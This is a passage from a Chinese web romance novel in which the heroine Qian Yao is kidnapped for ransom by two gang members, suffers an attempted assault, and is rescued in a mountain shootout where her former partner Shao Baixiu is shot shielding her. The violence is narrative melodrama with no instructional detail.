千瑶一口应下,看着雪莉卡这个活脱脱的素材库,她恨不得马上存稿三四章。
-
连续的几天,千瑶一心扑在写作上。
她固定每天下午两点从家里出发去福克庄园,雪莉卡的家离这里很近。
她走个十分钟就能到,千瑶不打算让人接送。
千瑶买了一个草莓冰淇淋,她有一个特殊的爱好,喜欢冬天吃冰淇淋。
冰凉又刺激,她非常馋。
之前她买过好几次,但都被邵柏修制止了,说她这样伤胃,不许她吃。
然后她就偷偷买,被发现后,还被他狠狠制裁了一顿。
现在没有那个讨厌的人,她想吃多少吃多少。
千瑶走在街道上,边走路边刷着手机。
评论区很活跃,自从上次的事情后,评论区倒是风向转变了。
都是祝福她和邵先生长长久久。
千瑶差点一口冰淇淋呛住,她不可置信地继续往下刷。
【狸:他们是真的。】
【欧皓辰我宣你:祝大大与邵先生甜甜蜜蜜。】
【马桶蹲厕点烟:大大别吃什么回头草了,这么高调的示爱,锁了。】
【......】
千瑶瞪大了眼,她没有删除任何评论,一整层楼,全是狸在回消息。
他把所有前男友的言论都怼了回去,而后引导了所有人,说她喜欢邵先生。
他说得就跟真的一样。
千瑶直接在评论区飞速打字,而后犹豫了一会儿,又删掉了。
她如果去说,越解释越糟糕。
好不容易平静下来的评论区又会开始讨论这个话题。
再加上狸的攻击力,她估计他会揪着自己不放。
千瑶索性不管了,破罐子破摔。
砰——
“哎哟——”
地上躺着一个老妇人,她的头发花白,操.着一口英文,在喊着疼。
千瑶手边的冰淇淋直接被撞掉了地上,黏腻地粘在地上。
还好她拿稳了手机,不然就该摔坏了。
千瑶此时也顾不上什么,她急忙上前查看情况。
她紧张得不行,“您怎么样?哪伤着了?”
“非常非常抱歉,我刚刚没注意到您,直接撞上了。”
老妇人看了她一眼,缓缓地摇头。
她扶着后腰,“小姐,走路要看路啊。”
千瑶扶着她缓慢地坐起,一双眉紧蹙,查看她的情况。
千瑶被这么一说,心里越发愧疚。
“是我的错,我带您上医院吧,做个检查更放心。”
老妇人叹气,摆了摆手。
“算了,只是磕到了腰,没有扭伤,不严重犯不着去医院。”
千瑶小心翼翼地扶着她的手臂和腰部,把她扶起来。
“冬天雪滑,我又伤了腰,路不好走。”
她拍了拍千瑶的手腕,“小姐,你能不能扶我回家?”
千瑶连连应下,“当然了,这是应该的。”
她拿出手机,想要立刻联系计程车。
“这样吧,我叫一辆车,您稍等会儿。”
老妇人摇头,指着左边的那条街区,“不用车,很近的,拐进去还有个两百米就到
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了。”
千瑶看了一眼,那边的街区道路较为狭窄,只有零零散散的几人。
道路湿滑,她仔细地搀扶着老妇人走着,还提醒着她注意脚下。
拐了三个路口,老妇人指着最右边的那栋别墅。
“就是那儿了。”
千瑶和她走近,她拿着钥匙打开门。
门刚打开,屋内的光线很暗。
天色昏昏沉沉,光影从窗口洒落,地上映出斑驳的光斑。
于此同时,门倏然被人关上。
千瑶被关门声吓了一跳,而后口鼻被人捂住。
白布刺激性的气味上窜,她顿时心头一凉。
“唔——”
她死死地扒着那人的手臂,指甲在他的手臂上划出血。
千瑶拼命地挣扎,她看不到身后的人是谁。
她祈求的眼神看着老妇人,希望她能救自己。
站在面前的老妇战战兢兢地看着,心疼地盯着她,却不敢有任何举动。
从她身后的隔间里,出来一个高大的男人,一把枪抵在老妇人的后腰。
“你做得很好。”
千瑶的意识渐渐地消散模糊,整个人像是漂浮在云端之上。
她挣扎的力道逐渐变小,动作缓慢。
千瑶眼前昏暗,失去了意识。
千瑶倒在地上,身后的男人拿出麻绳,推着她的肩,将她的手用绳子一圈圈地捆在身后。
“阿龙,那这个老的怎么办?”他扬了扬下巴,又把枪往前送。
顿时吓得那老妇人浑身打颤,当场哭着跪下。
她听不懂,只能不停地求饶。
阿龙把千瑶捆好后,瞥了他一眼。
“杀了,消音。”
阿强挑起一抹顽劣的笑,吹了个口哨。
他不紧不慢地将枪头装上消音,“这样倒省事了。”
而后枪抵在老妇人的头顶。
“砰——”
老妇人睁眼倒地,眉心中央的血洞瘆人,血不停地涌出。
流在地面上的血鲜红,飞溅得到处都是。
“她身后有尾巴,去后头把车开过来,走后门。”阿龙谨慎道。
阿强挑起眉梢,注视着地上娇弱的女孩。
没想到她身后还跟着保镖。
阿强比了个OK的手势,从后门出去。
阿龙托起千瑶,将她抗在肩膀上。
后门的院子很大,从后门出去通到的是另一条街区。
计程车在门口停下,阿龙打开门,把千瑶扔了进去。
计程车飞速驶离。
街角潜伏着几人,视线紧盯着别墅门口。
两个小时过去,千瑶还没有出来。
“姐,不对劲,小姐到现在还没有出来。”身后的女人担心道。
“那个老人很奇怪,小姐一向不会在陌生人家里待太久。”
暮雨皱着眉头,一手扶着墙壁。
几人就等她一声令下。
“去看看。”
几人迅速来到街对面的别墅,院里没有人。
暮雨试着拧了一下,开不了。
她比了个手势,两人上前踹开。
地面的场景一片血淋淋,一枪爆头的老人瘫倒在地。
几人瞬间骇然。
暮雨严肃地看着地上的人,“马上给boss打电话,小姐出事了。”
55. 第55张照片
高大的写字楼,会议还在进行。
主位上的男人西装革履,微抬着眼。
时不时看着腕表,修长的手在桌面上,指节有规律地轻点在桌上。
面前汇报的人在他的审视下压力十足,气场太强,他只能继续照着PPT念。
邵柏修桌面上的手机震动,他瞥了一眼没理。
汇报的人停下,邵柏修扬了扬下巴,“看我做什么,继续。”
直到邹秘书匆匆进来,门被轰然推开,他也顾不上什么敲门礼节。
长桌上的人纷纷侧目,往他这边看去。
邹秘书着急地皱起眉头,俯身凑到邵柏修耳边,“邵总,小姐不见了。”
邵柏修脸色倏然冷下来,阴沉着脸,眉眼泛着冷意。
“什么叫不见了,把话说清楚。”
“就在刚刚,暮雨他们跟着小姐到thefourthavenue,小姐和一个老妇人进了栋别墅,一直不见她出来。”
“当他们去查看的时候,老妇人被一枪爆头,小姐也不见踪影。”
邵柏修手臂的青筋紧绷,薄怒染上眉骨。
眼底流露出紧张,他当即从会议室出去。
邵柏修步子迈得很急,语速说得极快,“马上联系警方。”
身后的邹秘书跟着,“好的。
邵柏修去到负一楼,拉开车门上车,踩着油门飞驰而出。
他点开车载导航,手机上的红点闪烁,还在不停地远离纽约中心。
红点跳跃,他的车速狂飙。
红点显示的位置不清晰,不知道什么原因,时而出现,时而从页面上消失。
信号很微弱。
邵柏修修长的手烦躁地拍在方向盘上,骂了一句脏话。
他的千千现在该多害怕。
他只要一想到千瑶哭泣的脸,脑海中紧绷的弦刹那间就断了。
邵柏修第一次这么失措。
-
晚间。
“夫人,出事了。”
千轶芸在电脑前没空抬眼,她摘下眼镜揉了揉眉心。
“怎么了。”
“小姐被人绑架了。”
千轶芸骤然抬眼,“你说什么?”
她当即站起,差点打翻桌旁的咖啡。
女助理紧张地把电话递给她,千轶芸瞥了一眼陌生的电话号码。
她的脸色难看,接过电话。
“喂,我是千轶芸。”
“大名鼎鼎的千总,呵呵呵。不知道你还记不记得十四年前的那件事?”
千轶芸手脚冰冷,紧紧地攥着手机。
一双眼冷得可怕,往昔的回忆如同潮水般涌上,吞噬着她的身体。
她扶着桌面,坐在位置上。
她指尖掸了掸,佣人便从书房出去。
“你是谁?你什么意思?”
那人戴着变声器,笑得骇人,“千总这是想起来了。”
“她和晨哥长得真像呐,我一眼就认出来了。别紧张,她很安全。如果不是见到她,我还不知道会和千总您扯上关系。”
“你和晨哥的孩子,长得真漂亮。”
千轶芸压下心里的焦躁,冷声道:“你别动她,不然你清楚我的手段。”
“条件。”
“和千总讲话就是舒服。”
“五十亿美金。”
“可以。”
数额之大,足够让千氏元气大伤,资金链一断,后续就要面临破产危机。
千轶芸没有犹豫,一口应下。
“时间,地点。”
对面显然兴奋了,“哇哦,果然爽快。”
“CascadeMountain东北角,沿线有一条小路,上山。”
“明天上午十一点,只有你一个人亲自来,要是报警就撕票。这山很大,要藏人或者逃跑还是很方便的。”
电话一挂,千轶芸扶着发疼的额头。
手机至极掉在地上,砸出一块裂痕。
她此时疲惫到了极点,想到千瑶,她就手脚发颤。
千轶芸捂着脸,泪水从指缝中流下,此时的情绪已经绷不住。
“......晨哥,我该怎么办。”
光线昏暗,废弃的房子坐落在CascadeMountain一角。
屋瓦雪水沿着屋檐下滴。打在门扉上。
阿强得意地挂断电话,看着身后的女孩,活脱脱的五十亿。
柴火燃起点点星光,照着千瑶的脸。
暖光落在她的眉睫,眼睫微微动。
脑袋痛得不行,她睁开眼睛,见到两个人坐在柴火前。
千瑶被吓醒了,“你们,你们是谁?!”
她被绑在一个凳子上,手脚被束缚,挣脱不开。
她被绑得很痛,那个麻药的劲还没过去,浑身酸软。
她眼眶逐渐湿润,水汽翻涌,泪水滑下。
千瑶害怕极了,她注意到其中较为高挑的男子,那人的疤痕显眼。
是之前在雪具大厅见到的清洁工。
“是你,那个清洁工。”
阿龙擦着枪,扭头注视着她。
“我们之前也见过的。”
他勾起一抹阴冷的笑,“十四年前,西枫步行街。”
他枪口对准千瑶,说了一声,“砰——”
西枫步行街,那个血色的上午。
雨,血。
冲刷了整个地面。
千瑶脑海里挥之不去的画面,枪响之下,四散的人群。
还有那两名蒙面人,是他们开的枪。
“我爸爸是你们杀死的!”千瑶忽然激动。
她怨恨的眼神死死地盯着那两人,她不会忘记,他们是怎么开的枪。
“哟,想起来了。”阿强走到她面前,捏着她的下巴。
他掀起手,一巴掌扇了过去。
啪——
千瑶右脸颊被扇出红痕,嘴角渗出血来。
碎发遮住她的脸,沾着点点血水。
一说起这件事,阿强就恼火。“顾晨那个叛徒,不仅害得我们刀龙帮全军覆没,还直接害死了老大。”
“使得我们两人逃到这里苟且偷生,这一切都是拜他所赐。”
“他就该死,杀他几次都不足以解我的心头恨。”
千瑶怒斥,“呸,该死的是你们。”
“你们干伤天害理的事,你们会遭到报应的。”
她虽然害怕得发抖,但她对这些人肆意地辱骂她的父亲,千瑶绝对不能忍。
她现在的处境已经岌岌可危,她不知道哪里来的勇气与歹徒反驳。
阿强抹了一把脸,他揪着她的头发,“你最好闭嘴,不然我一枪崩了你。”
他说着,忽然发现了什么。
勾起一抹淫.邪的笑容,指腹抚摸了她一把小脸。
白皙的肌肤嫩滑,容貌清丽可人。
她撇过脸去,却被他捏着下巴。
千瑶瞪着他,他的视线令人作呕。
“你越这样,我越兴奋。”
“要不要来......”
阿强解开自己的皮带,千瑶心顿时跌落谷底。
“滚!滚开——”
千瑶剧烈地挣扎。
恐惧、恶心,无数的情绪涌上来,眼泪布满了整张小脸。
没有人能救她。
她被人撕扯着上衣,崩溃而无助。
千瑶狠狠地用头撞在那人的肚子上,逼得他捂着肚子闷哼后退。
“艹,还挺辣,老子好久没碰女人了,现在就拿你来开开荤。”
千瑶被人掐着喉咙,一只手去扯她的雪绒毛衣。
“放开...放开我......”
她被掐得喘不过气,整张脸泛着不
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正常的红。
她快窒息。
“好了,阿强。”阿龙呵声道。
砰砰——
两发子弹打在柱上,擦过他的手臂,再偏一瞬就打在他身上。
阿强盯着那两发弹孔,他的兴致刚上来,被人直接打断。
“阿龙,你什么意思?”
“别动她。”
“明天拿她和千轶芸换钱,可没说不能对她怎么样,明天照样没缺胳膊少腿的还回去。”
阿强解开自己的大绒袄,迫不及待地脱下裤子。
“走开!”
“让我好好地疼你,使劲地喊,等会儿别喊累了。”
阿强抚摸着她的脸颊,千瑶只觉得想吐。
他身上的恶臭味,那种淫.秽的目光在她身上流连,仿若将她吞吃入腹。
“救命......”千瑶崩溃地哭出声。
“操,我刚刚说的话你没听懂吗?”阿龙把树枝一甩,抛进火堆里。
他上前将阿强的脑袋摁在柱子上,“你他妈,你还想不想要钱了?”
“别给自己找事,她要是掉一根头发,千轶芸来个鱼死网破谁都捞不着好。”
阿龙拍了拍阿强的脸,“你还想在M国刷多少碗?我没时间陪你耗,老子在这儿待够了。”
阿强想了想,还是压下心里的那点心思。
他还是想要拿钱的,阿龙说的有道理,犯不着在接下来的几个小时生出其他事端。
阿龙放开他,阿强往地上吐了口唾沫。
下腹涨得酸疼,情欲未消,他自己去角落里对着墙壁草草解决了。
千瑶视线小心翼翼地盯着阿龙,她低声啜泣。
阿强回来后没有其他的举动,她暂时安全了。
千瑶打量了一下四周,这里是无人居住的临时房,外边地面有浅浅的积雪。
天黑了,她不知道现在几点。
刚刚听他们的对话,自己明天会被交换,妈妈接受了他们的条件。
千瑶不停地懊悔自责,她的警惕性太低,没有想到那个老妇人和他们都是一伙的。
她被束缚着,周围没有锋利的工具,门口还有他们两人守着。
她没看错的话,刀疤男腰间有两把手枪,那个叫阿强的身上也有一把枪,而靠在两人不远处的柜子上,还放着一把冲锋枪。
他们的准备非常充足。
千瑶肯定他们是预谋好的,她很早就被盯上了。
她细细回想,在雪具大厅的时候就开始了,她那时的直觉是对的。
而那个老妇人出现在街区,也是知道她会经过。
千瑶固定下午两点多会去福克庄园,那条路是她经常走的。
他们即是寻仇,也是拿钱。
嘟嘟嘟——
千瑶裤子里的手机在震动,震动的声音在安静的空间颇为响亮。
阿强看了她一眼,拿她的手机。
千瑶匆匆看了一眼,来电显示:弗格斯。
“你情人?”
千瑶不说话。
阿强直接划开,他开了免提。
“开个价。”
声音一出,千瑶眼眸彻底怔住。
弗格斯用中文说的,她熟悉得不能再熟悉。
这个熟悉的嗓音,像是被砂纸磨过。
“一千亿够不够。”
弗格斯的中文很像他,不对,就是他。
——邵柏修。
就连阿龙也往她这边看来。
“呵,开玩笑呢,一千亿人民币你拿得出来吗?”
“邵氏集团,邵柏修。”
电话里的人说了后,阿龙查了手机,看着手机屏幕里明晃晃的简介,他也愣住了。
阿龙随即走过来,对着电话那头道:“你真的是邵柏修?”
“我不想说废话,人我带走。”
“一千亿美金。”
56. 第56张照片
阿龙二人对视一眼,这可是笔大钱,比勒索千轶芸的还多。
“成,明天上午十点,CascadeMountain东南角,半山腰,那地方车可以直接上来。”
“不过别报警,不然后果你知道的。”
电话直接挂断,阿龙看着手机,眼中染上喜色。
一旁的阿强更是乐开了花。
千瑶大脑此刻一片空白,她懵得出神。
邵柏修知道她被绑架了,弗格斯就是邵柏修。
一种复杂而酸涩的情感犹如潮汐迭起,迟迟哽在心头。
千瑶想起之前的种种,弗格斯从来不会在自己面前摘下头盔和雪镜。
她每次去的时候,弗格斯总是穿戴整齐,第一个到达雪场等她。
一幕幕的练习画面宛若电影重现。
熟悉轻柔的语气,耐心地教她滑雪细节,鼓励她从高台滑雪。
邵柏修早就知道她在M国,但他没有像之前强制她回去,让她成为专属的莬丝花。
原来他一直在自己身边,从来没有离开。
风呼呼地从门口吹进,湿了千瑶的眼。
清晨山上没有落雪,太阳初升,暖了一地的山林。
千瑶被人架着离开这间破房,她的嘴上被贴上黑色胶布。
一人开车,阿龙拿枪抵着她后腰,车沿着盘山公路上行。
千瑶看着窗外,簌簌恍过的树木,朦胧了双眼。
车在山腰的一处平缓空地停下,三人下车,站在此处等了几分钟。
时间到了。
几辆黑色宾利从山坡上来,排成一列停在面前。
数名保镖下车,候在离他们不远处。
千瑶脑袋顶着一把枪,双手被束缚在身后。脖颈处横过一只手臂,让她跟着走。
阿龙对他大喊道:“让你的人把钱都装上车,而后让他们都走。”
千瑶见到邵柏修靠在车旁,注视着这边。
在与他对视的刹那,他的眼中闪过几不可察的紧张。
山坡的冷风吹着,平添了凉意,千瑶的眼睫轻颤。
相顾无言。
千瑶见到了熟悉的暮雨,原来她是邵柏修的手下。
当时在俄罗斯遇见的她不是巧合。
邵柏修微微抬手,他身侧的暮雨收到命令,随即从后备箱里拿出手提箱。
几名保镖将所有的手提箱都拿出来。
站在阿龙身边的阿强眼底带着兴奋,把玩着手中的枪。
“打开。”
暮雨把箱子放在地上,打开箱,里边是一叠叠的钞票。
阿强嘴角咧开的笑更盛,“全都打开啊,听不懂人话吗?”
暮雨身后的几个人纷纷打开,满满当当的钞票,让人看花了眼。
阿强显然特别满意,转了一下枪。
他扬起眉梢,微微俯身往下看这些钱。
砰——
阿强忽然胸口一疼,手枪掉了。
血瞬间崩出,飞溅在空中,他手里的枪摔在远处,掉下山崖。
左心房洞穿了个孔,枪声响破了山谷。
“阿强!有狙击手。”
“艹是警察!”
阿强连忙趴下,在地上艰难地滑动,想要去找掩体。
掩体的大石在悬崖边上,他连滚带爬地跑。
砰砰——
两声枪响,阻止他躲避。
阿龙也钳制着她的脖颈,枪口直接对准千瑶,子弹上膛。
“都他妈别动!”
“邵柏修,你敢叫警察!再开枪我就崩了她。”
阿龙藏在千瑶的脑袋后边,不敢露出半点。
只要藏在她身后,他就不会被狙击。
他估算刚刚枪响的地方是在十一点钟方向,狙击手在高处的树上。
邵柏修靠在车门口,膝盖微屈。
神情一如既往,静静地注视着他。
他轻笑出声,轻佻眉梢,“他死了,这些钱不都是你的么。人质在你手里,又不是在他那儿,我怕什么。”
阿龙低垂着眉眼,余光扫向地上那些钱,心思微动。
阿强是他为了这次的绑架找的帮手,不然知道了晨哥的孩子,也不会联系到他。
阿强一直都是冲动的莽夫,他就是个累赘。
“你先把钱放在车上。”
邵柏修大张开手,微微一笑,“当然可以。”
“阿龙!你什么意思?!”
石头后的阿强听到他们的对话,愤怒质问。
阿龙没管他,一言不发。
捂着胸口的血在流,他知道了阿龙想要反水。
愤怒冲昏了阿强的头脑,阿龙把他当做工具,最后被抛弃的只会是自己。
“想要独吞?!”
他解开外套,抄出手雷,攥在手中。
从石头后出来,大吼道:“你敢这么做,那我们就鱼死网破,谁都活不了!”
“你疯了?!想死吗!”
阿龙怒道。
阿强直接牙齿扯开拉环。
砰——
又是一枪,正中眉心。
阿强瞪着大眼,血从眉心而下。
直直往后倒,握着的手雷掉在崖口。
硕大的爆炸冲击波袭来,轰鸣声巨响宛若雷鸣。
飞溅的砂石刮着人脸,巨大的烟尘浓雾扬飞。
千瑶害怕地弯腰俯身,阿龙也随即闪避。
她的脑袋撞在了石头上,血从额头滑落,眼前一片模糊。
“千千,以后他就是你的哥哥。”
“你好,我叫千瑶。”
“哥,你要学医?志愿是什么方向呀?说说呗。”
“我肯定是学文,我要写好多好多小说。”
“恋爱协议,景总若是同意,那我们合作愉快。”
“多拍照片,这样显得真一些。”
“......”
无数的记忆画面涌入脑海,一切的事情,她都想起来了。
山崖爆炸之际,火光烟雾间,千瑶见到了邵柏修的身影。
“千千——”
她闯入一个温柔的怀抱,大手护着她,将她按在身下。
砰砰——
又是两枪。
邵柏修的左胸直直中弹,他身后的阿龙举着枪,眼神是死死的怨恨。
失去了人质的掩体,阿龙迅速被击毙,额头上出现一个血洞,当场暴毙。
千瑶听着身侧人的闷哼,从她身旁摔在冰雪地面。
“唔...”她惊惧地睁着眼,看着邵柏修胸膛冒出的血。
“boss!”
“先生,先生——”
千瑶脑袋嗡地一声,脑海中的弦瞬间断了。
周围世界仿佛安静下来,像被按下了暂停键。
泪水氤氲着水汽,滚烫的泪水宛若断了线的珠子,一滴滴地砸下,砸在邵柏修的身上。
她的嘴唇被胶布捂着,发出呜咽,跪在雪地上。
纯白的雪染了鲜红的血,他倒在血泊里。
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邹秘书将千瑶的胶带被扯下,解开绳子。
“医生马上就到。”邹秘书赶忙去叫人来。
邵柏修疲惫的眼微掀,见到他的小兔已经哭得不成样。
他伸出手,抹去她眼角的泪。
“...不哭。”
千瑶握着他冰凉的手,呼着热腾腾的热气。
“邵柏修......你坚持住。”
血越流越多,满目的红。
他的手好冷,怎么会这么冷。
千瑶的身体颤抖,手上都是邵柏修的血。
他现在一定很痛。
“哥哥,我不要你死。”
“哥,我求你别离开我......”
千瑶跪在雪地里,崩溃大哭。
红了双眼,湿了眼眶。
纷飞的飘雪停在她的发梢,湿湿冷冷。
雪花纷纷落下,寒冷的雪又开始下了。
医生抬着担架,连忙抬人上救护车。
警察在前方开道,鸣笛声此起彼伏。
千瑶在救护车上只希望能快点,再快点。
邵柏修微阖上眼,已经戴上了氧气管。
急救室,千瑶被拦在外边。
她颓然坐在地上,脑海中是方才的画面。
双眼失神,失去了焦距。
她环抱着自己,脑袋埋在膝盖里,哭得泣不成声。
邵柏修这个傻子。
他就是天下第一的大傻子。
泪水打湿膝盖,浸在了无尽地自责里。
她想过自己可能会悄无声息地死在密林里,最不可能出现的人却出现了。
邵柏修救了她。
“千千。”
远处的千轶芸不顾形象地跑来,见到地上的千瑶,把她抱在怀中。
“没事,妈妈来了。”
“妈...哥哥他在里面。”千瑶带着哭腔。
她紧紧地抱着千轶芸,俯在她的肩头,肆无忌惮地哭出声。
“他救的我......”
“中枪的应该是我,不该是他,为什么会这样......”
千轶芸看着那亮着红牌的急救中,心里沉了沉。
她本来按照计划去的东北角,却扑空了。
邵柏修先她一步和人联系的,他没有告诉自己,下山的时候才派人告诉她千瑶已经得救。
邵柏修在让人告诉她的时候,他此时正在东南角的半山腰。
他很笃定能救千瑶,才预先让人在这里等候的。
为了救千瑶,赌上了自己的命。
这是邵柏修要给她的答案。
急救室的门被推开,医生从里边出来,摘下口罩。
千瑶立刻站起,站起太猛,眼前一黑。
她走得踉跄,抓住医生的手腕,“医生,他怎么样?”
“病人的状况已经稳定下来,度过了危险期。”
千瑶的身体瞬间软下来,悬在心中的石头终于落下。
她松了一口气,邵柏修没事了。
“枪从身后射击,子弹在心脏的左侧几厘米处,差一点就危险了,幸亏送来得及时。”
“医生谢谢您。”
病床从里头推出,邵柏修的脸色苍白,嘴唇干涸发白。
安静地躺在病床上,双眼闭着,脆弱不堪。
千瑶从没见过这样的他。
她的呼吸遏住,心上揪心的疼,眼泪又止不住地流。
夜幕降临,纯白病房内静谧。
窗外的雪已经停了。